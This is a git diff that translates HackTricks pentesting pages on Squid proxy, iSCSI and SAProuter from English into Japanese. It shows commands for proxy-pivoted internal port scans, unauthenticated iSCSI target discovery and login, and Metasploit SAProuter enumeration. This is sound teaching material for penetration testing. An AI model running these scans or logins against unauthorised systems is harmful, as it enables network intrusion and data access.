☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Information +# 基本情報 -**Squid** is a caching and forwarding HTTP web proxy. It has a wide variety of uses, including speeding up a web server by caching repeated requests, caching web, DNS and other computer network lookups for a group of people sharing network resources, and aiding security by filtering traffic. Although primarily used for HTTP and FTP, Squid includes limited support for several other protocols including Internet Gopher, SSL, TLS and HTTPS. Squid does not support the SOCKS protocol, unlike Privoxy, with which Squid can be used in order to provide SOCKS support. (From [here](https://en.wikipedia.org/wiki/Squid\_\(software\))). - -**Default port:** 3128 +**Squid**は、キャッシュと転送のHTTPウェブプロキシです。ウェブサーバーの高速化(繰り返しリクエストのキャッシュ)、ネットワークリソースを共有する人々のためのウェブ、DNS、および他のコンピューターネットワークのルックアップのキャッシュ、およびトラフィックのフィルタリングによるセキュリティの支援など、さまざまな用途があります。主にHTTPとFTPに使用されますが、SquidにはInternet Gopher、SSL、TLS、HTTPSを含むいくつかの他のプロトコルの限定的なサポートもあります。SquidはSOCKSプロトコルをサポートしていませんが、Squidを使用してSOCKSサポートを提供するために使用できるPrivoxyとは異なります([ここから](https://en.wikipedia.org/wiki/Squid\_\(software\)))。 +**デフォルトポート:** 3128 ``` PORT STATE SERVICE VERSION 3128/tcp open http-proxy Squid http proxy 4.11 ``` +# 列挙 -# Enumeration - -## Web Proxy - -You can try to set this discovered service as proxy in your browser. However, if it's configured with HTTP authentication you will be prompted for usernames and password. +## ウェブプロキシ +この発見されたサービスをブラウザのプロキシとして設定してみることができます。ただし、HTTP認証が設定されている場合は、ユーザ名とパスワードが要求されます。 ```bash # Try yo proxify curl curl --proxy http://10.10.11.131:3128 http://10.10.11.131 ``` +## Nmapのプロキシ化 -## Nmap proxified +プロキシを悪用して、**nmapをプロキシ化して内部ポートをスキャン**することもできます。\ +proxichains.confファイルの末尾に次の行を追加して、proxychainsを設定してSquidプロキシを使用します:`http 10.10.10.10 3128` -You can also try to abuse the proxy to **scan internal ports proxifying nmap**.\ -Configure proxychains to use the squid proxy adding he following line at the end of the proxichains.conf file: `http 10.10.10.10 3128` +次に、proxychainsを使用してホストを**ローカルからスキャン**するためにnmapを実行します:`proxychains nmap -sT -n -p- localhost` -Then run nmap with proxychains to **scan the host from local**: `proxychains nmap -sT -n -p- localhost` - -## SPOSE Scanner - -Alternatively, the Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)) can be used. +## SPOSEスキャナー +また、Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose))を使用することもできます。 ```bash python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131 ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/3260-pentesting-iscsi.md b/network-services-pentesting/3260-pentesting-iscsi.md index d3d79c45e..a9438693e 100644 --- a/network-services-pentesting/3260-pentesting-iscsi.md +++ b/network-services-pentesting/3260-pentesting-iscsi.md @@ -4,103 +4,113 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Basic Information +## 基本情報 -> In computing, **iSCSI** is an acronym for **Internet Small Computer Systems Interface**, an Internet Protocol (IP)-based storage networking standard for linking data storage facilities. It provides block-level access to storage devices by carrying SCSI commands over a TCP/IP network. iSCSI is used to facilitate data transfers over intranets and to manage storage over long distances. It can be used to transmit data over local area networks (LANs), wide area networks (WANs), or the Internet and can enable location-independent data storage and retrieval. +> コンピューティングにおいて、**iSCSI**は**Internet Small Computer Systems Interface**の略であり、データストレージ施設をリンクするためのインターネットプロトコル(IP)ベースのストレージネットワーキング標準です。これにより、TCP/IPネットワーク上でSCSIコマンドを輸送することで、ストレージデバイスへのブロックレベルのアクセスが提供されます。iSCSIはイントラネット上でのデータ転送や長距離でのストレージ管理に使用されます。これは、ローカルエリアネットワーク(LAN)、広域ネットワーク(WAN)、またはインターネットを介してデータを転送するために使用でき、場所に依存しないデータの保存と取得を可能にすることができます。 > -> The protocol allows clients (called initiators) to send SCSI commands (CDBs) to storage devices (targets) on remote servers. It is a storage area network (SAN) protocol, allowing organizations to consolidate storage into storage arrays while providing clients (such as database and web servers) with the illusion of locally attached SCSI disks. It mainly competes with Fibre Channel, but unlike traditional Fibre Channel which usually requires dedicated cabling, iSCSI can be run over long distances using existing network infrastructure. - -**Default port:** 3260 +> このプロトコルでは、クライアント(イニシエータ)がリモートサーバー上のストレージデバイス(ターゲット)にSCSIコマンド(CDB)を送信することができます。これはストレージエリアネットワーク(SAN)プロトコルであり、組織がストレージをストレージアレイに統合する一方で、データベースやWebサーバーなどのクライアントにローカルに接続されたSCSIディスクの幻想を提供します。これは主にFibre Channelと競合していますが、通常専用のケーブルが必要な従来のFibre Channelとは異なり、既存のネットワークインフラストラクチャを使用して長距離で実行することができます。 +**デフォルトポート:** 3260 ``` PORT STATE SERVICE VERSION 3260/tcp open iscsi? ``` +## 列挙 -## Enumeration +iSCSIサービスのペンテストを開始する前に、まずはターゲットシステムの列挙を行う必要があります。以下に、iSCSIサービスの列挙に役立つツールとテクニックをいくつか紹介します。 +### Nmapスクリプト + +Nmapは、iSCSIサービスの列挙に役立つさまざまなスクリプトを提供しています。以下は、いくつかの便利なスクリプトの例です。 + +- `iscsi-info`:iSCSIサーバーの情報を取得します。 +- `iscsi-enum-targets`:iSCSIターゲットを列挙します。 +- `iscsi-brute`:iSCSIサーバーへのブルートフォース攻撃を実行します。 + +これらのスクリプトを使用することで、iSCSIサービスに関する重要な情報を収集することができます。 + +### Wireshark + +Wiresharkは、ネットワークトラフィックをキャプチャし、解析するための強力なツールです。iSCSIサービスの列挙には、Wiresharkを使用してiSCSIトラフィックをキャプチャし、解析することが有効です。iSCSIトラフィックには、ターゲットシステムのIPアドレスやポート番号などの重要な情報が含まれている場合があります。 + +### iSCSI Discovery + +iSCSIディスカバリは、iSCSIサーバーが提供するターゲットを特定するためのプロセスです。iSCSIディスカバリには、以下の2つの主要な方法があります。 + +- **SendTargets**:iSCSIサーバーに対してSendTargetsリクエストを送信し、利用可能なターゲットを取得します。 +- **iSNS**:iSNS(Internet Storage Name Service)を使用して、iSCSIターゲットを特定します。 + +これらの方法を使用して、ターゲットシステムのiSCSIサービスに関する情報を収集することができます。 + +iSCSIサービスの列挙は、ペンテストの重要なステップです。これにより、攻撃者はターゲットシステムの脆弱性を特定し、攻撃の手法を計画することができます。 ``` nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx ``` +このスクリプトは、認証が必要かどうかを示します。 -This script will indicate if authentication is required. +### [ブルートフォース](../generic-methodologies-and-resources/brute-force.md#iscsi) -### [Brute force](../generic-methodologies-and-resources/brute-force.md#iscsi) +### [LinuxでのISCSIのマウント](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux) -### [Mount ISCSI on Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux) - -**Note:** You may find that when your targets are discovered, they are listed under a different IP address. This tends to happen if the iSCSI service is exposed via NAT or a virtual IP. In cases like these, `iscsiadmin` will fail to connect. This requires two tweaks: one to the directory name of the node automatically created by your discovery activities, and one to the `default` file contained within this directory. - -For example, you are trying to connect to an iSCSI target on 123.123.123.123 at port 3260. The server exposing the iSCSI target is actually at 192.168.1.2 but exposed via NAT. isciadm will register the _internal_ address rather than the _public_ address: +**注意:** ターゲットが発見されると、異なるIPアドレスでリストされる場合があります。これは、iSCSIサービスがNATまたは仮想IP経由で公開されている場合に起こります。このような場合、`iscsiadmin`は接続に失敗します。これには2つの調整が必要です。1つは、自動的に作成されたノードのディレクトリ名を変更すること、もう1つはこのディレクトリ内に含まれる`default`ファイルを変更することです。 +例えば、123.123.123.123のポート3260でiSCSIターゲットに接続しようとしています。iSCSIターゲットを公開しているサーバーは実際には192.168.1.2にありますが、NAT経由で公開されています。isciadmは、_公開_アドレスではなく、_内部_アドレスを登録します。 ``` iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260 192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe [...] ``` - -This command will create a directory in your filesystem like this: - +このコマンドは、次のようにファイルシステムにディレクトリを作成します: ``` /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/ ``` +ディレクトリ内には、ターゲットに接続するために必要なすべての設定が含まれたデフォルトファイルがあります。 -Within the directory, there is a default file with all the settings necessary to connect to the target. +1. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` を `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/` に名前を変更します。 +2. `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` 内の `node.conn[0].address` の設定を、192.168.1.2 の代わりに 123.123.123.123 を指すように変更します。これは、次のようなコマンドで行うことができます:`sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` -1. Rename `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` to `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/` -2. Within `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, change the `node.conn[0].address` setting to point to 123.123.123.123 instead of 192.168.1.2. This could be done with a command such as `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` +リンク内の手順に従って、ターゲットをマウントすることができます。 -You may now mount the target as per the instructions in the link. - -### [Mount ISCSI on Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN) - -## **Manual enumeration** +### [WindowsでISCSIをマウントする](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN) +## **手動列挙** ```bash sudo apt-get install open-iscsi ``` - -First of all you need to **discover the targets** name behind the IP: - +まず最初に、IPアドレスの背後にあるターゲットの名前を**特定する必要があります**: ``` iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260 123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe [2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382 [fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382 ``` +_注意してください。それは、**ターゲットに到達できる**インターフェースのI**Pとポート**を表示します。使用したものとは異なる**内部IPや異なるIP**を表示することもあります。_ -_Note that it will show the I**P and port of the interfaces** where you can **reach** those **targets**. It can even **show internal IPs or different IPs** from the one you used._ - -Then you **catch the 2nd part of the printed string of each line** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ from the first line) and **try to login**: - +次に、各行の**印刷された文字列の2番目の部分**(最初の行から_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_)を**キャッチ**して、**ログインを試みます**: ```bash iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple) Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful. ``` - -Then, you can **logout** using `–logout` - +その後、`–logout`を使用して**ログアウト**することができます。 ```bash iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful. ``` - -We can find **more information** about it by just using **without** any `--login`/`--logout` parameter - +**さらなる情報**は、`--login`/`--logout`パラメータを使用せずに見つけることができます。 ```bash iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 # BEGIN RECORD 2.0-873 @@ -176,14 +186,13 @@ node.conn[0].iscsi.IFMarker = No node.conn[0].iscsi.OFMarker = No # END RECORD ``` - -**There is a script to automate basic subnet enumeration process available at** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm) +**基本的なサブネット列挙プロセスを自動化するスクリプトが** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm) **で利用可能です。** ## **Shodan** * `port:3260 AuthMethod` -## **References** +## **参考文献** {% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} @@ -191,14 +200,14 @@ node.conn[0].iscsi.OFMarker = No ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) **を発見しましょう**、**独占的なNFTのコレクション**です。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/3299-pentesting-saprouter.md b/network-services-pentesting/3299-pentesting-saprouter.md index 65309e4c8..cc12acf89 100644 --- a/network-services-pentesting/3299-pentesting-saprouter.md +++ b/network-services-pentesting/3299-pentesting-saprouter.md @@ -1,41 +1,36 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
Copy of: [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/) - ```text PORT STATE SERVICE VERSION 3299/tcp open saprouter? ``` +# Metasploitを使用してSAProuterを突破する -# Piercing SAProuter with Metasploit +Saprouterは基本的にSAPシステム用のリバースプロキシであり、通常はインターネットと内部のSAPシステムの間に配置されます。その主な目的は、通常のファイアウォールよりもSAPプロトコルの細かい制御を可能にするため、インターネット上のホストから内部のSAPシステムへの制御されたアクセスを許可することです。 -Saprouter is basically a reverse proxy for SAP systems, typically sitting between the Internet and internal SAP systems. Its main purpose is to allow controlled access from hosts on the Internet to the internal SAP systems, since it allows for a finer grained control of SAP protocols than a typical firewall. +これは、saprouterが組織のファイアウォールでsaprouterホストへのインバウンドTCPポート3299を許可することで、通常インターネットに公開されることを意味します。そして、saprouterからは少なくとも内部のSAPサーバーに到達できるはずです。これは非常に興味深いターゲットであり、"高い価値"のあるネットワークへの進入経路を提供する可能性があります。 -This means that saprouter usualy ends up being exposed to the Internet, by allowing the inbound TCP port 3299 to the saprouter host on the organization's firewalls. And from the saprouter, at least it should be possible to reach an internal SAP server. This makes it a very interesting target, since it can provide a way into the “high value” network. - -The following figure shows a basic network setup, which we will use for the examples: +以下の図は、例として使用する基本的なネットワーク構成を示しています: ![](https://blog.rapid7.com/content/images/post-images/33923/image1.jpg) -First we'll start by performing a SAP service scan of the exposed IP address, using the [`sap_service_discovery`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_service_discovery) module, in this case, 1.2.3.101. - +まず、[`sap_service_discovery`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_service_discovery)モジュールを使用して、公開されたIPアドレス(この場合は1.2.3.101)のSAPサービススキャンを実行します。 ```text msf> use auxiliary/scanner/sap/sap_service_discovery msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101 @@ -48,11 +43,9 @@ msf auxiliary(sap_service_discovery) > run [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` - -The scan shows us that the host is running a SAP router on the expected port TCP 3299. We can now dig deeper, and attempt to obtain some information from the saprouter. If it has been misconfigured, and often they are, it may be possible to obtain internal information, such as connections established through the saprouter to internal hosts. For this purpose we use the [`sap_router_info_request`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_info_request) module: - +スキャン結果によると、ホストは予想されるTCPポート3299でSAPルータを実行しています。これでさらに詳しく調査し、saprouterから情報を取得しようと試みることができます。設定が誤っている場合、そしてしばしばそうですが、saprouterを介して内部ホストへの接続など、内部情報を取得することが可能です。この目的のために、[`sap_router_info_request`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_info_request)モジュールを使用します。 ```text -msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request +msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101 RHOSTS => 1.2.3.101 msf auxiliary(sap_router_info_request) > run @@ -66,55 +59,49 @@ msf auxiliary(sap_router_info_request) > run [SAP] SAProuter Connection Table for 1.2.3.101 =================================================== - Source Destination Service - ------ ----------- ------- - 1.2.3.12 192.168.1.18 3200 +Source Destination Service +------ ----------- ------- +1.2.3.12 192.168.1.18 3200 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` +したがって、出力からわかるように、インターネット上の誰か(1.2.3.12)が内部ホスト(192.168.1.18)のポート3200に接続しています。ポート3200は、DIAGプロトコルの一般的なSAPポートです(これはSAP GUIアプリケーションがSAPサーバーに接続する場所です)。また、内部IPアドレススキームに関する情報も取得しており、おそらく192.168.1.0/24ネットワークまたはそのネットワーク内のいくつかのサブネットを使用していることがほぼ確実です。 -So, from the output we see that someone on the Internet \(1.2.3.12\) is connected to an internal host \(192.168.1.18\) on port 3200. Port 3200 is a common SAP port for the DIAG protocol \(that's where the SAP GUI application connects to SAP servers\). We also obtain information about the internal IP addressing scheme, they're quite surely using at least the 192.168.1.0/24 network, or some subnet in that network. +**内部ホストとサービスの列挙** -**Enumerating internal hosts and services** - -With this information, we are now able to start scanning the internal network. Since saprouter works like a proxy, we will attempt to connect to it and request connections to internal hosts and ports, and see the replies from saprouter. This may gives more insight into the internal hosts, services and ACLs, depending on the configuration of the saprouter. We'll be using the [`sap_router_portscanner`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_portscanner) module for this purpose. - -The module connects to the saprouter and requests connections to other hosts \(defined in the TARGETS option\) in specific TCP ports. It then analyses the replies, and understands whether the requested connection is possible or not. This module provides a few options that can used: +この情報を元に、内部ネットワークのスキャンを開始できます。saprouterはプロキシのように機能するため、それに接続して内部ホストとポートへの接続を要求し、saprouterからの応答を確認します。これにより、saprouterの設定に応じて、内部ホスト、サービス、およびACLに関するさらなる洞察が得られる場合があります。この目的のために、[`sap_router_portscanner`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_portscanner)モジュールを使用します。 +このモジュールはsaprouterに接続し、指定したTCPポートで他のホスト(TARGETSオプションで定義)への接続を要求します。その後、応答を分析し、要求された接続が可能かどうかを判断します。このモジュールにはいくつかのオプションがあります。 ```text Basic options: - Name Current Setting Required Description - ---- --------------- -------- ----------- - CONCURRENCY 10 yes The number of concurrent ports to check per host - INSTANCES 00-99 no SAP instance numbers to scan (NN in PORTS definition) - MODE 